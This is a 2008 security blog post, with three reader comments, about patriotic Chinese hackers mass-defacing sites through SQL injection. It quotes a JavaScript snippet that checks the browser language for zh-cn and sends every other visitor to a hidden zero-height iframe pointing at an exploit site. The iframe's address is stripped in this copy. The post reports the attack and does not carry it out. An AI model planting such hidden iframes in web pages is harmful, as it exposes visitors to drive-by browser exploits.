May 15 2008

More Patriotic Hacking

Published by at 8:07 am under Chinese Malware,Hacker Hunting,Nationalism

Benny from sent Heike a link to an article at the Internet Storm Center that covers some patriotic mass SQL-Injection attacks.  The attacker appended this text to the bottom of every compromised index.htm file (this text was copied from the ISC and includes their edits):

“This is a mass invasion.        Safeguard the motherland’s dignity!
I love my motherland!
Please understand that I

Another site that Paul from found and contributed to ISC includes obfuscated javascript that includes a function to evaluate if the web browser is configured for PRC/Mainland Chinese – zh-cn.  Anyone who doesn’t have zh-cn gets redirected to a site hosting browser exploits.  Cool.  here is the code snippet from the ISC:

if (navigator.systemLanguage==’zh-cn‘){}else{document.writeln(“<iframe
src=” width=100 height=0></iframe>”);}

This reminds me of the patriotic virus that Heike blogged about a while ago that only exploited machines configured for the traditional Chinese character set (most mainland Chinese use simplified).

Thanks for the heads-up Benny!

3 responses so far

3 Responses to “More Patriotic Hacking”

  1. Adrianon 16 May 2008 at 3:07 am

    Hi Dark Visitor,

    I quite enjoy reading your blog. Im not a security expert or admin so alot of it goes over my head but I find all the articles very interesting. So a quick thank you to begin.

    My actual question is from the above index.htm file,

    F*** FRANCE! F*** CNN!

    Ok, I get the CNN bit, but why France? did I miss something or is this a long running fued?


  2. Heikeon 16 May 2008 at 6:24 am

    Hey Adrian,

    We are glad to have you here and thank you for reading.

    The new wrath against France was sparked by the anti-Chinese protests and the Olympic flame incident. Here is a little on it:

    “Nothing could be more different from that mood today as the mainland public vents its fury over the perceived insult to China’s Olympic torch caused by pro-Tibet demonstrators during its relay in Paris and other world cities.

    Over the weekend, hundreds of protesters gathered in front of stores belonging to the French supermarket chain Carrefour and the French embassy, waving Chinese flags and calling for a boycott of French products.

    Protesters held red banners displaying “Carrefour out of China markets!” and “Come on China, come on Olympics”. They circulated text messages with lists of products and brands to boycott, such as Louis Vuitton and Carrefour which are perceived to be supporting the Dalai Lama, Tibet’s exiled spiritual leader.

    Televised scenes of aggressive protests that have accompanied the Olympic torch relay in Paris have sparked an outrage among Chinese bloggers and people on Internet forums. While the relay had attracted anti-China protests in London and San Francisco too, the chaotic scenes in Paris where pro-Tibet demonstrators were seen attempting to grab the flame from Paralympic fencer Jin Jing had inflamed the biggest anger.”

  3. Adrianon 16 May 2008 at 8:30 am

    Thanks for quick response Haike!

    That explains it perfectly.